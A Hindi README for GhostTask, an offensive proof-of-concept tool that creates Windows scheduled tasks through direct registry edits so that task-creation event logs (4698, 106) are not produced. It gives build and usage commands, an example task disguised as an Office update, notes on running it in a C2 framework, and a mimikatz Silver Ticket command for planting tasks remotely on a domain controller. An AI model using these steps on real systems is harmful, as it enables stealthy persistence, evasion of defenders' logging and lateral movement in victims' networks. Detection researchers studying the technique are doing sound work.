
एक उपकरण सीधे रजिस्ट्री में हेरफेर करके सामान्य घटना लॉग को ट्रिगर किए बिना निर्धारित कार्य बनाता है।
WithSecure द्वारा Scheduled Task Tampering पर किए गए शोध से प्रेरित होकर, उन्होंने केवल रजिस्ट्री की कुंजियों में हेरफेर करके एक शेड्यूल्ड टास्क बनाने की व्यवहार्यता समझाई। ऐसा दृष्टिकोण शेड्यूल्ड टास्क निर्माण ईवेंट लॉग, जैसे 4698 और 106, के उत्पादन को दरकिनार कर सकता है, जो दृढ़ता स्थापित करने के लिए एक गुप्त विधि प्रदान करता है। इन अंतर्दृष्टियों के मद्देनजर, मैंने सीधे रजिस्ट्री हेरफेर के माध्यम से शेड्यूल्ड टास्क बनाने का प्रदर्शन करने के लिए यह POC विकसित किया।
एक नया शेड्यूल्ड टास्क बनाने के लिए कई रजिस्ट्री कुंजियों और उनसे संबंधित मानों को जोड़ने की आवश्यकता होती है। चूंकि शेड्यूल्ड टास्क से संबंधित रजिस्ट्री मानों की संरचना अप्रलेखित है, इसलिए इन संरचनाओं के निर्माण के लिए मेरी पद्धति मुख्यतः परीक्षण और त्रुटि पर आधारित थी, जो वैध शेड्यूल्ड टास्क के रजिस्ट्री मानों के साथ तुलना द्वारा निर्देशित थी। इसके अलावा, मैंने Taskschd.h हेडर फ़ाइल में इंटरफ़ेस का भी उल्लेख किया और Cyber.WTF Windows Registry Analysis – Today's Episode: Tasks से भी व्यापक रूप से सामग्री ली। यह शोध प्रत्येक रजिस्ट्री मान, जैसे Triggers, Actions, और DynamicInfo की संरचना तैयार करने में मेरा मार्गदर्शन करने के लिए अमूल्य था, जो एक कार्यात्मक शेड्यूल्ड टास्क के निर्माण के लिए आवश्यक थे।
टूल में निम्नलिखित सुविधाएँ हैं:
BruteRatel's memexec) के साथ C2 में चलाने का समर्थन करता है।*Remark:
ScheduledTaskCreated क्रिया प्रकार) उत्पन्न नहीं होगाUsage: GhostTask.exe <hostname/localhost> <operation> <taskname> <program> <argument> <username> <scheduletype> <time/second> <day>
- hostname/localhost: रिमोट कंप्यूटर का नाम या "localhost"।
- operation: add/delete
- add: केवल रजिस्ट्री कुंजियों का उपयोग करके शेड्यूल्ड टास्क बनाएं या संशोधित करें। टास्क परिभाषा लोड करने के लिए "Schedule" सेवा को पुनरारंभ करना आवश्यक है।
- delete: शेड्यूल्ड टास्क हटाएं। टास्क को अनलोड करने के लिए "Schedule" सेवा को पुनरारंभ करना आवश्यक है।
- taskname: शेड्यूल्ड टास्क का नाम।
- program: निष्पादित किया जाने वाला प्रोग्राम।
- argument: प्रोग्राम के लिए आर्गुमेंट्स।
- username: वह उपयोगकर्ता खाता जिसके अंतर्गत शेड्यूल्ड टास्क चलेगा।
- scheduletype: समर्थित ट्रिगर्स: second, daily, weekly, और logon।
- time/second ('second', 'daily', और 'weekly' ट्रिगर्स के लिए लागू):
- 'second' ट्रिगर के लिए: टास्क निष्पादन की आवृत्ति सेकंड में निर्दिष्ट करें।
- 'daily' और 'weekly' ट्रिगर्स के लिए: टास्क निष्पादन का सटीक समय (जैसे, 22:30) निर्दिष्ट करें।
- day ('weekly' ट्रिगर के लिए लागू): शेड्यूल्ड टास्क निष्पादित करने के दिन (जैसे, monday, thursday)।
x86_64-w64-mingw32-gcc GhostTask.c -o GhostTask.exe -lrpcrt4
GhostTask.exe localhost add demo "cmd.exe" "/c notepad.exe" LAB\Administrator weekly 14:12 monday,thursday

GhostTask.exe localhost add "Microsoft\Office\Office Automatic Updates 2.0" "cmd.exe" "/c notepad.exe" LAB\employee001 daily 20:37

जैसा कि WithSecure ब्लॉग (Extra: Lateral Movement अनुभाग) में उल्लिखित है, इस तकनीक का उपयोग विशेष रूप से तैयार किए गए Silver Ticket के साथ दूरस्थ रूप से एक नया शेड्यूल्ड टास्क बनाने के लिए किया जा सकता है।
kerberos::golden /domain:LAB.CORP /sid:S-1-5-21-1111111111-1111111111-1111111111 /aes256:[aes256hash] /user:Administrator /service:cifs /target:dc01.lab.corp /sids:S-1-5-18 /endin:600 /renewmax:10080
DC01 सर्वर पर दूरस्थ रूप से एक नया शेड्यूल्ड टास्क बनाएं जो हर दिन शाम 3:19 बजे notepad.exe लॉन्च करे:
GhostTask.exe DC01.lab.corp add demo "cmd.exe" "/c notepad.exe" LAB\Administrator daily 15:19
